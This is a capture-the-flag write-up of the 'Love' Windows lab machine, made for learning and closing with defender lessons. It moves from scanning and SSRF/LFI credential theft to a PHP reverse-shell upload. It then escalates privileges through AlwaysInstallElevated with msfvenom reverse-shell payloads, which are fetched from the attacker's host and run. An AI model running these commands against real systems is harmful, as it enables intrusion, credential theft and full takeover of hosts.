Love

INTRODUCTION

It’s been a week, but now it’s time to get back into my “Let’s brush up on Windows!” series. Love is the fifth box, following Toolbox. This box was pretty interesting, definitely worth checking out. I really enjoyed that it avoided the whole “Find the CVE and exploit it” pattern that many Easy boxes use.

It revolves around a “File Scanner” web app with some terrible security misconfigurations and mistakes. Can you find them all?

Without too much recon, you’ll come across the vulnerable website. It has an LFI that can be used to nab whatever configuration files you desire. While the LFI is enough to gain a foothold by itself, you can actually utilize it as an SSRF obtain another credential. From there, some very simple enumeration will pretty clearly point out the vulnerability you need to exploit to gain the root flag. It’s a very easy exploit that shouldn’t take more than a couple minutes if done properly.

I didn’t realize it at the time, but it turns out that the way I used the LFI (to gain a foothold) was actually quite rare. From the few walkthroughs I checked after completing this box, I didn’t see any others using the LFI to gain a foothold (circumventing the SSRF). Read the Root Flag section for more details!

title picture

RECON

nmap scans

Port scan

For this box, I’m running my typical enumeration strategy. I set up a directory for the box, with a nmap subdirectory. Then set $RADDR to the target machine’s IP, and scanned it with a simple but broad port scan:

sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT      STATE SERVICE
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
443/tcp   open  https
445/tcp   open  microsoft-ds
3306/tcp  open  mysql
5000/tcp  open  upnp
5040/tcp  open  unknown
5985/tcp  open  wsman
7680/tcp  open  pando-pub
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49668/tcp open  unknown
49669/tcp open  unknown
49670/tcp open  unknown

Script scan

To investigate a little further, I ran a script scan over the TCP ports I just found:

TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT      STATE SERVICE      VERSION
80/tcp    open  http         Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: Voting System using PHP
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
443/tcp   open  ssl/http     Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: 403 Forbidden
| ssl-cert: Subject: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in
| Not valid before: 2021-01-18T14:00:16
|_Not valid after:  2022-01-18T14:00:16
445/tcp   open  microsoft-ds Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)
3306/tcp  open  mysql?
| fingerprint-strings: 
|   DNSStatusRequestTCP, GetRequest, NULL, SMBProgNeg: 
|_    Host '10.10.14.3' is not allowed to connect to this MariaDB server
5000/tcp  open  http         Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
5040/tcp  open  unknown
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
5986/tcp  open  ssl/http     Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
| tls-alpn: 
|_  http/1.1
| ssl-cert: Subject: commonName=LOVE
| Subject Alternative Name: DNS:LOVE, DNS:Love
| Not valid before: 2021-04-11T14:39:19
|_Not valid after:  2024-04-10T14:39:19
|_http-server-header: Microsoft-HTTPAPI/2.0
|_ssl-date: 2024-02-22T05:49:18+00:00; +22m13s from scanner time.
7680/tcp  open  pando-pub?
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49668/tcp open  msrpc        Microsoft Windows RPC
49669/tcp open  msrpc        Microsoft Windows RPC
49670/tcp open  msrpc        Microsoft Windows RPC

Host script results:
| smb-os-discovery: 
|   OS: Windows 10 Pro 19042 (Windows 10 Pro 6.3)
|   OS CPE: cpe:/o:microsoft:windows_10::-
|   Computer name: Love
|   NetBIOS computer name: LOVE\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2024-02-21T21:49:08-08:00
| smb2-time: 
|   date: 2024-02-22T05:49:09
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_clock-skew: mean: 2h22m14s, deviation: 4h00m02s, median: 22m12s
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)

Vuln scan

Now that we know what services might be running, I’ll do a vulnerability scan:

sudo nmap -n -Pn -p$TCPPORTS -oN nmap/vuln-scan-tcp.txt --script 'safe and vuln' $RADDR
PORT      STATE SERVICE
80/tcp    open  http
|_http-trace: TRACE is enabled
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_      http://ha.ckers.org/slowloris/
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
443/tcp   open  https
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_      http://ha.ckers.org/slowloris/
|_http-trace: TRACE is enabled
445/tcp   open  microsoft-ds
3306/tcp  open  mysql
5000/tcp  open  upnp
5040/tcp  open  unknown
5985/tcp  open  wsman
5986/tcp  open  wsmans
7680/tcp  open  pando-pub
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49668/tcp open  unknown
49669/tcp open  unknown
49670/tcp open  unknown

UDP scan

To be thorough, I also did a scan over the common UDP ports:

sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR

☝️ UDP scans take quite a bit longer, so I limit it to only common ports

PORT     STATE         SERVICE        VERSION
9/udp    open|filtered tcpwrapped
80/udp   open|filtered http
123/udp  open|filtered ntp
137/udp  open|filtered netbios-ns
138/udp  open|filtered tcpwrapped
500/udp  open|filtered isakmp
1812/udp open|filtered radius
1900/udp open|filtered upnp
3703/udp open|filtered tcpwrapped
4500/udp open|filtered tcpwrapped
5353/udp open|filtered zeroconf
5632/udp open|filtered pcanywherestat

Note that any open|filtered ports are either open or (much more likely) filtered.

Webserver Strategy

Noting the redirect from the port 443 part of the nmap script scan, I added love.htb and staging.love.htb to /etc/hosts and did banner grabbing on that domain:

DOMAIN=love.htb
echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts
echo "$RADDR staging.$DOMAIN" | sudo tee -a /etc/hosts

☝️ I use tee instead of the append operator >> so that I don’t accidentally blow away my /etc/hosts file with a typo of > when I meant to write >>.

whatweb $RADDR && curl -IL http://$RADDR

banner grabbing

Next I performed vhost and subdomain enumeration:

WLIST="/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt"
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v

No results from that. Now I’ll check for subdomains of love.htb, I’ll do this as if it were a vhost scan by fuzzing the host header:

I’ve found this to be a faster method for subdomain enumeration.

ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.$DOMAIN" -c -t 60 -o fuzzing/vhost-$DOMAIN.md -of md -timeout 4 -ic -ac -v

subdomain enumeration

The scan found the expected result, staging.love.htb. To be thorough, I should also do a subdomain scan on staging.love.htb:

No result there either. I’ll move on to directory enumeration on http://love.htb:

WLIST="/usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt"
ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ -t 80 --recursion --recursion-depth 2 -c -o ffuf-directories-root -of json -e php,asp,js,html -timeout 4 -v

Directory enumeration against http://love.htb/ gave the following:

directory enumeration 1

Now I’ll check the subdomain http://staging.love.htb:

WLIST="/usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt"
ffuf -w $WLIST:FUZZ -u http://staging.$DOMAIN/FUZZ -t 80 --recursion --recursion-depth 2 -c -o ffuf-directories-staging -of json -e php,asp,js,html -timeout 4 -v

directory enumeration 3

There was also an HTTPS version of the site on port 443, https://staging.love.htb, so I’ll also do directory enumeration on that:

WLIST="/usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt"
gobuster dir -w $WLIST -u https://staging.$DOMAIN -k \
--random-agent -t 40 --timeout 5s -f -e \
--status-codes-blacklist 400,401,402,403,404,405 \
--output "fuzzing/directory-gobuster-staging.$DOMAIN.txt" \
--no-error

directory enumeration 2

Same results as before.

The nmap scans showed another few ports responding to HTTP: 5000, 5985, and 47001. It’s unlikely, but I may as well check them too.

ffuf -w $WLIST:FUZZ -u http://$RADDR:5000/FUZZ -t 80 -c -o ffuf-directories-port5000 -of json -e php -timeout 4 -v -fw 22

port5000

Well that’s more than a coincidence. The exact same pages as staging.love.htb, but I can’t access any index page for it.

ffuf -w $WLIST:FUZZ -u http://staging.$DOMAIN:5985/FUZZ -t 80 --recursion --recursion-depth 2 -c -o ffuf-directories-port5985 -of json -e php,asp,js,html -timeout 4 -v -fs 308

No results at all from port 5985. Lastly, 47001:

ffuf -w $WLIST:FUZZ -u http://staging.$DOMAIN:47001/FUZZ -t 80 --recursion --recursion-depth 2 -c -o ffuf-directories-port47001 -of json -e php,asp,js,html -timeout 4 -v

Again, no results.

Exploring the Website

From directory enumeration, I discovered an admin endpoint that redirects to http://love.htb/admin/index.php. There is a simple login form that POSTs to login.php:

http login

Just to try the obvious, I’ll go for some simple credential-guessing using hydra:

USERS=/usr/share/seclists/Usernames/top-usernames-shortlist.txt
PASSWORDS=/usr/share/seclists/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt
hydra -L $USERS -P $PASSWORDS -I love.htb http-post-form "/admin/login.php:username=^USER^&password=^PASS^&login=:H=Cookie: PHPSESSID=fabeh7tcq673g4dgdvpm778r63:F=Sign in to start your session

No success with that. I saw from the nmap scans that MySQL is running - how about an SQLi auth bypass?

WLIST=/usr/share/seclists/Fuzzing/Databases/sqli.auth.bypass.txt 
ffuf -w $WLIST:FUZZ -u http://love.htb/admin/login.php -r -X POST -t 40 -c \
-H "Content-Type: application/x-www-form-urlencoded" \
-b "PHPSESSID=tgfvpmpk5cf54rkjd27geeo84d" \
-d "username=FUZZ&password=password123&login=" \
-fr 'Sign in to start your session'

Nope, nothing. But what about the subdomain? It appears to be some kind of malware-scanning utility, currently in beta. Like some low-key version of virustotal:

index page

Clicking Demo in the header links to /beta.php. This might be usable as a foothold:

beta

FOOTHOLD

PHP Reverse Shell

I’ll start up a listener for a reverse shell, and a webserver for uploading files to this beta.php form. With any luck, the server is doing some kind of “dynamic analysis” and running the scripts in a totally unconfined way (which would be a little nutty, to be honest):

sudo ufw allow from $RADDR to any port 4444,8000,9999 proto tcp
cd ~/Box_Notes/Love/exploit/
vim php-reverse.shell.php # Edit the IP and port
python3 -m http.server 8000 &
rlwrap socat -d TCP-LISTEN:4444 STDOUT

I’m using the cross-platform PHP reverse shell from this repo.

Unfortunately, uploading the reverse shell had no effect. Part of the code did get displayed onto the page though:

reverse shell attempt 1

LFI for MySQL creds

Since I’m able to load an external resource through this /beta.php page, maybe I’m also able to load an internal resource?

The addresses I’m entering will be interpreted from the perspective of the server, so if I’m lucky it’ll already have its DNS or hosts file configured to resolve love.htb and staging.love.htb. However, that’s kinda unlikely. If it was confugred like that, it would’ve only been for the developer’s convenience…

I two pages that would defnitely exist if the above is true: http://love.htb/admin/ and http://staging.love.htb/index.php - no result from either.

Next, I’ll try just the localhost: http://127.0.0.1/admin/

admin page from beta page

Ok, that’s a little interesting! It loaded the php for the http://love.htb/admin/ page from within /beta.php.

Maybe I can grab a file off the local system instead? I’ll try file:///C:/Windows/System32/drivers/etc/hosts:

etc hosts LFI

Success! This is great, but only because I know exactly the filepath to check…

Back when I did directory enumeration on love.htb, I found the /tcpdf directory, and I remember that it had a few files in there that caused some error / warning when I opened them. Maybe there’s a clue in there?

code warning

I asked ChatGPT about the typical xampp directory structure:

C:\xampp
├── apache
│   ├── bin
│   ├── conf
│   ├── htdocs
│   └── ...
├── mysql
│   ├── bin
│   ├── data
│   ├── scripts
│   └── ...
├── php
│   ├── ...
├── ...
└── xampp
    ├── ...

The file file:///C:/xampp/apache/conf/httpd.conf might exist. A quick test shows that it does exist, and can indeed be read from this LFI, but it doesn’t really provide any extra data.

Next, I was wondering where each domain’s files were located within xampp. I’ll check the file that usually defines this, file:///C:/xampp/apache/conf/extra/httpd-vhosts.conf:

domain directories

Great, so there should be three domains:

  • C:/xampp/htdocs/passwordmanager This is www.love.htb
  • C:/xampp/htdocs/omrs This is love.htb
  • C:/xampp/htdocs/FFS This is staging.love.htb aka Free File Scanner

I’m hoping to find some database credentials. There probably isn’t some kind of .env file sitting around, but I might be able to find some credentials by checking the source code of that login page I encountered earlier. According to the above httpd-vhosts.conf file shown above, I can probably find the login endpoint code at C:/xampp/htdocs/omrs/admin/login.php:

login source 1

This only shows a portion of the file. To see the whole thing, check the view-source: of that page (Ctrl+U in Firefox). This displays the source code from that login.php file:

<?php
	session_start();
	include 'includes/conn.php';
	if(isset($_POST['login'])){
		$username = $_POST['username'];
		$password = $_POST['password'];
		$sql = "SELECT * FROM admin WHERE username = '$username'";
		$query = $conn->query($sql);
		if($query->num_rows < 1){
			$_SESSION['error'] = 'Cannot find account with the username';
		}
		else{
			$row = $query->fetch_assoc();
			if(password_verify($password, $row['password'])){
				$_SESSION['admin'] = $row['id'];
			}
			else{
				$_SESSION['error'] = 'Incorrect password';
			}
		}
	}
	else{
		$_SESSION['error'] = 'Input admin credentials first';
	}
	header('location: index.php');
?>

Well, that explains some of the behaviour behind that login form.

Actually, taking a look at this source code makes me wonder if it might have worked to simply insert a new record from within the WHERE clause of the username select statement 🤔

The important line is the include 'includes/conn.php'; near the top. This must be where the database connection info is stored. Requesting file://C:/xampp/htdocs/omrs/includes/conn.php confirms this. 😀 Opening up view-source again reveals some plaintext credentials!

database creds

The database credential being used by love.htb is phoebe : HTB#9826^(_ and it’s accessing the database votesystem on localhost.

Unfortunately, attempting to connect to the database directly will not work:

database connection 1

I’m certain I’ll need these credentials later. After checking one more thing, I’ll come back to these credentials and see if there was any credential re-use 🚩

SSRF for HTTP ports

Earlier, when I was investigating LFIs, I looked into loading resources from staging.love.htb. However, I was relying on the server having an entry in its hosts file to resolve the subdomain from its own perspective. This got me thinking: what port is staging.love.htb listening on? Does it even use a specific port? Can I load a resource directly from that subdomain using /beta.php?

Well, when doing directory enumeration, I found that staging.love.htb and 10.10.10.239:5000 both showed the same few resources (resulting in HTTP 403 Unauthorized). Navigating to port 5000 the normal way shows an Unauthorized message:

forbidden 5000

Ok, but could I load that page by using /beta.php? Does localhost have permission to access that resource..?

forbidden 5000 2

As it turns out, localhost does have authorization to access port 5000! There’s another credential sitting there in plain sight. admin : @LoveIsInTheAir!!!!

Also, very kind of the devs to even indicate what the credential is for 😉

So, that’s two credentials to check out now. I’ll try the admin user of the Voting System first, at http://love.htb/admin/:

love admin dashboard

Bingo! We now have access to the admin dashboard. I’ll explore this in a minute 🚩 First, I want to go check if the other credential I found was re-used.

USER FLAG

Evil-winrm

I’ll quickly check with evil-winrm if there was any credential re-use:

phoebe winrm

Nice! The credentials I got from the database connection in /includes/conn.php were re-used. I now have a shell as phoebe 🎉

Navigating to phoebe’s desktop, it looks like the user flag is available. Simply type it out for some points!

ROOT FLAG

Voting system

The Voters section of the admin dashboard allows me to register new voters in the system. I suspect this is for http://love.htb/index.php (which the admin credentials did not grand access to). I’ll register a new user and try logging in as them. Registering a voter creates a new Voter ID and allows you to set a password. The system created Vhb6u2Irg9pSMxC : password123 for me.

voting system login

This works perfectly, granting access to the non-admin part oflove.htb:

votingsystem

In addition to adding voters, from the Admin dashboard you’re able to define new positions, candidates, and elections. These changes are all reflected to the non-admin part of the site:

vote 4 cindy

Enumeration (with credential)

I’ll check enum4linux first, since it usually turns up some interesting results when provided with a credential:

enum4linux -u 'phoebe' -p 'HTB#9826^(_' -a $RADDR

It found some users (Administrator, WDAGUtilityAccount, and Phoebe) and groups (Administrators, Users, Power Users) on the target, plus some other insignificant things. There were no significant results form smbmap.

Next, I want to try running winpeas. I’ll have to serve the executable to the target. winpeas is part of my (very incomplete) Windows toolbox:

windows toolbox

# On attacker machine:
sudo ufw allow from $RADDR to any port 8000 proto tcp
python3 -m http.server 8000
# On target, via evil-winrm:
(New-Object Net.WebClient).DownloadFile('http://10.10.14.9:8000/winPEASany.exe', 'C:\Users\Phoebe\Downloads\winpeas.exe')
.\winpeas.exe

WinPEAS

It looks like a couple directories are whitelisted from Windows Defender:

AV whitelist

Also, AlwaysInstallElevated is enabled - I might be able to install something with administrator permissions:

winpeas 2

Note that this could be checked manually by doing a couple registry queries: (HKCU: HKey Current User, KHLM: HKey Local Machine)

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\ /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\ /v AlwaysInstallElevated

reg query alwaysinstallelevated

winpeas also identified some conditions for where phoebe might be able to run a .msi file:

winpeas 4

Note that the above also corresponds to a location in the AV whitelist.

Malicious MSI

🚫 The following section uses the right technique, but the wrong setup.

For some reason, this was all thwarted because my foothold was through evil-winrm. I’m still not sure why that was an issue.

Please skip ahead to Getting a new foothold if you’re short on time.

The results of winpeas suggest that I should be able to craft a malicious .msi file, and install it from the C:\Administration directory. It’s execution from within that directory should be whitelisted by the antivirus. Really, it’s all best-case-scenario for an attacker.

This technique can be found in the TryHackMe room Windows PrivEsc. Jump straight to Task 8 to see try this technique on a vulnerable machine. I watched this video by Hackersploit to learn more about this vulnerability, which referenced the THM room linked above.

Ideally, I can just open a reverse shell (as Administrator) using this technique, so I’ll try that first. On my attacker machine, I’ll create the malicious .msi using msfvenom then serve the file from a python webserver:

# Create the msi and serve it
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.9 LPORT=4444 -f msi -o reverse.msi
python3 -m http.server 8000
# In another tab, make a reverse shell listener
sudo ufw allow from $RADDR to any port 4444 proto tcp
rlwrap socat -d TCP-LISTEN:4444 STDOUT

Then, on the target machine via evil-winrm, I’ll download the file and run the installer:

# Download the msi
(New-Object Net.WebClient).DownloadFile('http://10.10.14.9:8000/reverse.msi', 'C:\Administration\reverse.msi')
# "Install" it
msiexec /quiet /qn /i C:\Administration\reverse.msi

Hmm… No luck! Very odd, considering that that everything looked perfect for this exploit.

Troubleshooting: TCP Reverse shell as foothold

I did some reading on forum.hackthebox.com to see if I was doing anything obviously wrong. It looks like there was another user having exactly the same difficulties as me, and found that it was due to using evil-winrm to connect instead of a regular reverse shell.

It seems like most people got RCE by using a file upload vulnerability from the Admin dashboard. I didn’t bother investigating any RCE there because, by that point, I already had a winrm shell as phoebe!

On the attacker box, use msfvenom to create a reverse shell, serve it, and start up the listener:

# Generate a reverse shell and serve it
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.9 LPORT=4444 -f exe -o revshell.exe
python3 -m http.server 8000
# In another tab, start a listener
rlwrap socat -d TCP4-LISTEN:4444,fork STDOUT

Then on the target box (using the evil-winrm shell), download the reverse shell payload and execute it:

# Download it
(New-Object Net.WebClient).DownloadFile('http://10.10.14.9:8000/revshell.exe', 'C:\Users\Phoebe\Downloads\revshell.exe')
# Execute it
.\revshell.exe

reverse shell regular

Great, I have a reverse shell formed in a regular way now… But my malicious msi attack is still not working?!

When I read even further into the forums.hackthebox.com discussion of this box, another user suggested that they weren’t able to perform the malicious MSI attack even when using a regular reverse shell that was spawned from Evil-WinRM 😥

Maybe I need to find a way to do this without even using evil-winrm as the initial foothold 🤔

Getting a new foothold

If I’m going to avoid evil-winrm entirely, I need to find a new foothold. The Admin dashboard seems like the most obvious choice. I already know there is a profile-picture upload on that site. There might also be a way to upload a reverse shell through the Candidate image.

Once again, I’ll start up a listener:

rlwrap socat -d TCP4-LISTEN:4444,fork STDOUT

While going to define a new Candidate, I realized that the Voter entity also has a profile picture upload. Using the exact same PHP reverse shell as earlier (in the PHP Reverse Shell section, i.e. the cross-platform reverse shell from this repo), I defined a new voter:

defining new voter

As soon as I hit Save, the page underneath attempted to render, and tripped the reverse shell:

reverse shell regular 2

🎉 That was easier than I thought it would be! Let’s proceed with the Malicious MSI attack again.

Malicious MSI Again

I’ve already generated reverse.msi containing a payload to form a reverse shell back to a listener already running on port 4445. All I need to do is use my new foothold to download the .msi and run it:

# Switch to powershell
powershell
# Download it
(New-Object Net.WebClient).DownloadFile('http://10.10.14.9:8000/reverse.msi', 'C:\Administration\reverse.msi')
# "Install" it
msiexec /quiet /qn /i C:\Administration\reverse.msi

Worked like a charm!

root shell

From there, just type out the flag for some points🍍

LESSONS LEARNED

two crossed swords

Attacker

  • Avoid Evil-WinRM. I’ve had a lot of trouble with it in the past. On this box, I wasted hours trying to troubleshoot why my very clear and simple Malicious MSI attack was not working. In the end, it was simply something to do with using Evil-WinRM as the foothold 🤷‍♂️.
  • When you have Two things to try, do the shorter one first. I thought my usage of the SSRF to obtain database credentials was fantastic, but really I should have done the two things in the opposite order. It would have been very fast to look into port 5000 before I started enumerating the xampp installation via an SSRF (which took quite a bit of guessing, and thus time).
  • MSFVenom is incredible! Use it early and often. Anything else is just to challenge yourself. At the end of the day, I’d rather know all the cool features of msfvenom than to be able to manually replicate even a fraction of its functionality. It can even help obfuscate your payloads!
two crossed swords

Defender

  • SSRF could have been avoided. Doing malware scanning is very difficult to do safely. In my opinion, the client should have been able to upload a file into only a tightly sandboxed environment, where it cannot access any local files. The server should have only been able to read the results of a malware scan from a specific directory, and nowhere else.

  • Sanitize image uploads. Check extensions; validate MIME types; check file sizes; never every blindly include() an image in PHP. By now we all should have seen enough Imagick exploits to make our skin crawl. Be super careful with any user-uploaded content!

  • Least privilege should always be followed. On this box, it’s clear that the webserver and the “power user” Phoebe should have been separate accounts. Better yet, put the webserver and database in separate containers that communicate as little as possible with each other.

  • AlwaysInstallElevated should AlwaysBeDisabled, in my opinion. The only reason I can think of to turn it on, even temporarily, is laziness of an administrator - which is definitely not a sufficient reason.


Thanks for reading

🤝🤝🤝🤝
@4wayhandshake